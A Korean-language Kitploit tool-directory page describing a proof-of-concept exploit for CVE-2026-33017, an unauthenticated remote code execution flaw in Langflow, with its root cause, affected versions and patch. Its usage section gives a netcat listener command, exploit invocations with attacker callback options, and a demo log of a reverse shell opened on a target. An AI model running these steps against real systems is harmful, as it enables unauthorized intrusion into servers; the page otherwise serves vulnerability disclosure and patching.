Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33017 — CVE-2026-33017에 대한 PoC 익스플로잇: 악성 Python Custom Component 주입을 통한 Langflow의 인증되지 않은 원격 코드 실행, 내장 리버스 셸 리스너 포함. | Kitploit
도구/GitHubGitHub/dynamo2k1/cve-2026-33017
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRemote Access Tool
GitHubdynamo2k1/cve-2026-33017

CVE-2026-33017

CVE-2026-33017에 대한 PoC 익스플로잇: 악성 Python Custom Component 주입을 통한 Langflow의 인증되지 않은 원격 코드 실행, 내장 리버스 셸 리스너 포함.

저장소 보기
28일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-33017 — Langflow 인증되지 않은 원격 코드 실행

작성자: dynamo2k1
심각도: 치명적
CVSSv3: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)


개요

CVE-2026-33017는 Langflow에서 발견된 인증되지 않은 원격 코드 실행 취약점입니다. Langflow는 LLM 애플리케이션과 AI 워크플로우를 시각적으로 구축하기 위한 오픈 소스 플랫폼입니다.

취약한 엔드포인트 build_public_tmp는 요청 본문에서 인증 없이 공격자가 제공한 data 필드를 허용합니다. 이를 통해 공격자는 악성 Python 사용자 정의 컴포넌트를 포함한 완전히 사용자 정의된 플로우 정의를 삽입할 수 있으며, 해당 컴포넌트의 코드는 빌드 과정 중 서버에서 실행됩니다.

자격 증명이 필요하지 않습니다. 유효한 Public 플로우 UUID만 있으면 됩니다.


영향을 받는 버전

상태버전
취약Langflow < 1.9.0
패치됨Langflow 1.9.0+

취약한 엔드포인트

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

이 엔드포인트는 인증 없이 Public(공유) 플로우를 빌드하도록 설계되었습니다. 취약한 버전에서는 요청 본문에 공격자가 제어하는 data 필드도 허용하며, 이는 서버 측 빌드 로직에 직접 전달됩니다. 여기에는 Custom Components에 포함된 모든 Python 코드가 포함됩니다.


사용법

전제 조건

root@kitploit:~
pip install requests urllib3

1단계 — Public 플로우 UUID 찾기

대상 Langflow 인스턴스를 탐색하고 공유/공개 플로우를 찾습니다. UUID는 URL에 나타납니다:

root@kitploit:~
https://target.com/playground/7d84d636-af65-42e4-ac38-26e867052c25
                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                                        this is the flow-id

2단계 — 리스너 설정

root@kitploit:~
nc -lvnp 9001

3단계 — 익스플로이트 실행

root@kitploit:~
python exploit.py \
  --url https://target.com \
  --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
  --lhost <YOUR_IP> \
  --lport 9001

또는 내장된 대화형 리스너를 사용하세요 (별도의 nc 필요 없음):

root@kitploit:~
python exploit.py \
  --url https://target.com \
  --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
  --lhost <YOUR_IP> \
  --lport 9001 \
  --listen

옵션


데모

root@kitploit:~
[*] Target: https://target.com/api/v1/build_public_tmp/<flow-id>/flow
[*] Callback: 10.10.15.28:9001
[*] HTTP 200
[!] SHELL ESTABLISHED FROM 10.x.x.x:36522

www-data@target:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

작동 방식

  1. 공격자는 공개 Langflow 플로우 UUID(플레이그라운드 URL에 표시됨)를 식별합니다.
  2. 조작된 POST 요청이 모듈 수준에서 Python 코드를 포함하는 악성 Custom Component를 주입합니다.
  3. 빌드 단계에서 Langflow가 컴포넌트 코드를 컴파일하여 메서드가 호출되기 전에 공격자의 페이로드를 실행합니다.
  4. 코드는 공격자의 리스너로 리버스 셸을 생성합니다.

근본 원인: build_public_tmp는 서버에 저장된 플로우 정의만 사용하는 대신 요청 본문의 data 필드를 신뢰했습니다.

패치: Langflow 1.9.0에서 data 매개변수가 build_public_tmp에서 제거되었습니다. 이 엔드포인트를 통해 외부 플로우 정의를 더 이상 주입할 수 없습니다.

패치 커밋: 73b6612


참고 자료

  • GitHub 보안 권고 — GHSA-vwmf-pq79-vjvx
  • NVD — CVE-2026-33017
  • 패치 커밋

면책 조항

이 PoC는 교육 및 허가된 보안 연구 목적으로만 제공됩니다. 귀하가 소유하거나 명시적인 서면 허가를 받은 시스템에 대해서만 사용하십시오.

도구 다운로드
플래그설명
--url대상 Langflow 기본 URL
--flow-idPublic 플로우 UUID
--lhost리버스 셸 콜백을 위한 IP 주소
--lport리스너 포트
--listen외부 nc 대신 내장 셸 핸들러 사용
--timeoutHTTP 요청 시간 초과(초 단위, 기본값: 30)